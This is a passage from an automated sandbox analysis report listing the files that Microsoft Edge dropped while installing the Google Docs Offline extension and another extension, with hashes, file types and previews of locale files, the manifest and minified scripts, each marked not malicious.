C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18774
Entropy (8bit):	5.70612956141149
Encrypted:	false
SSDEEP:	384:cLjrY6QDAwrlbs3jiD1DisLSFqwAqmq9om2V7o:2jrSHbMjidLSFxA+om2W
MD5:	92F7CC1C498F314277DAFB300FC3372A
SHA1:	4672F96C3F64C08FD6841FFCF79DC690FCEC822B
SHA-256:	CD825CBCB19783F8D616DE33A8352B81B4482FDD87DBA6B537D0907260762D35
SHA-512:	8F2AEFA63FFD8EA1A678EF586BE0348AB5385594C00514170D92049C39C5FC717A0B9B5F3EA4F4DF17EF94F01249BBF2848135A989A2FA1C1E2CB145E30DA935
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiOE1xa2JXMkFQWkVpbzlQTHlYNVItT3o1bGs5a29sbnlWTWtvYlVabk15YyIsInBhdGgiOiJfbG9jYWxlcy9hZi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoicWhJZ1d4Q0hVTS1mb0plRVlhYllpQjVPZ05vZ3FFYllKTnBBYWRuSkdFYyJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiV0E0cW96b3R5ZzJrcUpKU0FEYWNVMGNDbEdJYjlmMmp1ejhYalh0YUhybyIsInBhdGgiOiJfbG9jYWxlcy9hbS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiWk9BYndwSzZMcUZwbFhiOHhFVTJjRWRTRHVpVjRwRE03aURDVEpNMjJPOCJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiQlk4QVRlUUktWHNqLWFSbVZfTi03dHVzUlJyQUNkU25yU3NhT2d3R3pTWSIsInBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsiY2Fub25pY2FsX2pzb25fcm9vdF9oYXNoIjoiX0pLU3pRcGk4TVczZE5WZldwN281STVjX09

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.418631085958246
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1wW9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APwWgiVb
MD5:	702D50119D4110E453DAA57DE3ADE79A
SHA1:	9754676F727803F8BF4DDD973F7050E67FC62B7C
SHA-256:	177CA18A28C498CB573A0DF3142C591B40FEB17F42353055B563084E515F9A88
SHA-512:	ACC18730934BFCDE53710567506AE9C3ED821D108B5747B2E0B54CA0BDAE3D97DDA947049856174067628DB373CFEDF0CC255638F2060AE14E078C8451EC089A
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	95567
Entropy (8bit):	5.4016395763198135
Encrypted:	false
SSDEEP:	1536:Ftd/mjDC/Hass/jCKLwPOPO2MCeYHxU2/NjAGHChg3JOzZ8:YfjCKdHm2/NbHCIJo8
MD5:	09AF2D8CFA8BF1078101DA78D09C4174
SHA1:	F2369551E2CDD86258062BEB0729EE4D93FCA050
SHA-256:	39D113C44D45AE3609B9509ED099680CC5FCEF182FD9745B303A76E164D8BCEC
SHA-512:	F791434B053FA2A5B731C60F22A4579F19FE741134EF0146E8BAC7DECAC78DE65915B3188093DBBE00F389A7F15B80172053FABB64E636DD4A945DBE3C2CF2E6
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function l(a){return function(){return this[a]}}var n;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	103988
Entropy (8bit):	5.389407461078688
Encrypted:	false
SSDEEP:	1536:oXWJmOMsz9UqqRtjWLqj74SJf2VsxJ5BGOzr61SfwKmWGMJOaAFlObQ/x0BGm:yRqr6v3JnVzr6wwfMtkFSYm
MD5:	EA946F110850F17E637B15CF22B82837
SHA1:	8D27C963E76E3D2F5B8634EE66706F95F000FCAF
SHA-256:	029DFE87536E8907A612900B26EEAA72C63EDF28458A7227B295AE6D4E2BD94C
SHA-512:	5E8E61E648740FEF2E89A035A4349B2E4E5E4E88150EE1BDA9D4AD8D75827DC67C1C95A2CA41DF5B89DE8F575714E1A4D23BDE2DC3CF21D55DB3A39907B8F820
Malicious:	false
Preview:	'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\ca9cbf2c-434f-4137-b1d9-fc2e1b91db60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	139091
Entropy (8bit):	7.817886952439696
Encrypted:	false
SSDEEP:	3072:IXfiiW2IPMaNVdSjNs8uIXZuineN0WZFb:IvX3wRVq2JIX0UePFb
MD5:	87996BA4DD83A8988D96E918DCB2BC62
SHA1:	23910F09EA806D13D9A337A1E23D5FA49B383269
SHA-256:	6409D21A03FAFF1503AA83A19BE0B7DCB701F5E4501C4FEFB81877147E869D57
SHA-512:	A9A1B4BB6ED0410232DB0414AB238BAA594F6C936A801213E0E6FD7FF96F34AB57036CD0070C68D75A8CFDA89B7240B6FB8F661BC9C4D9A45666A798D7D12999
Malicious:	false
Preview:	Cr24....."........0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........:.W.!........5.y.i%e..S.....+.h/...e.p\|/.l}t.9....W.......Ie<.o..uO....[:.....,.w.SKOp..0...@.gT..W.6.R.d.1.b.~..8..I......DMf9A>.O5....?.....4{..g..2m.Ckp......{...9..I.$.h#to..[.%..\.s..n^zr.P.9..r\|.(.1..Q..Vld..h..<.P......+.y.wH..p..=.!..x......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!..h.G...A.t..;.zl..q..z{...... .;..oQf.....S..$./.....6.r..".@...........\|[s.:.._..wW!0^..m...X".]@.vu.". 0.I....~....t.t...d.....CB.....s.q...i..~.?..-...L.....u....v>....s}..f......6.W}.9...]e......m[.....p..bX..{~.m...~....>^.2....NGs\|.:f..>...1.....kU.vL...uo.u......K......\|ic!.."..5.g.9..0w2.C90.V.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_523394746\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir8092_523394746\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
